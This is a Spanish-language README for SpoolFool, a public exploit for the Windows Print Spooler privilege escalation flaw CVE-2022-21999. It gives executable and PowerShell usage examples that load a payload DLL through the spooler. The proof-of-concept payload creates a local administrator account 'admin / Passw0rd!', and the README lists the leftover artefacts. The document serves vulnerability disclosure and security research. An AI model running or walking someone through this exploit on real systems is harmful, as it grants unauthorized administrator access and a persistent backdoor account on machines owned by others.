SpoolFool

Exploit para CVE-2022-21999 - Vulnerabilidad de Elevación de Privilegios del Print Spooler de Windows (LPE)

Detalles

El exploit proporcionado debería funcionar por defecto en todas las versiones de escritorio de Windows.

Consulte la publicación del blog para obtener todos los detalles técnicos aquí.

Uso

PS C:\SpoolFool> .\SpoolFool.exe

SpoolFool
  By Oliver Lyak (@ly4k_)

Examples:
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer'
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -dir 'SECRET'
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

Powershell

PS C:\SpoolFool> ipmo .\SpoolFool.ps1
PS C:\SpoolFool> Invoke-SpoolFool

SpoolFool
  By Oliver Lyak (@ly4k_)

Examples:
   -dll add_user.dll
   -dll add_user.dll -printer 'My Printer'
   -dll add_user.dll -dir 'SECRET'
   -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

Prueba de Concepto

La siguiente PoC utiliza una DLL que crea un nuevo administrador local admin / Passw0rd!. La DLL (AddUser.dll) y el código fuente se pueden encontrar en este repositorio.

Segunda ejecución

La siguiente PoC muestra una segunda ejecución del exploit proporcionado. Nótese que esta vez no se explota la vulnerabilidad para cargar la DLL.

Artefactos

Después de ejecutar el exploit, quedarán los siguientes artefactos para su limpieza posterior:

• El directorio del controlador de impresora creado no se elimina
• La DLL de payload se copia al directorio del controlador de impresora y no se elimina
• Cualquier impresora creada no se elimina
• El valor SpoolDirectory de la impresora objetivo no se restaura

Autores

• Oliver Lyak @ly4k_

Referencias

• SpoolFool: Windows Print Spooler Privilege Escalation (CVE-2022-21999)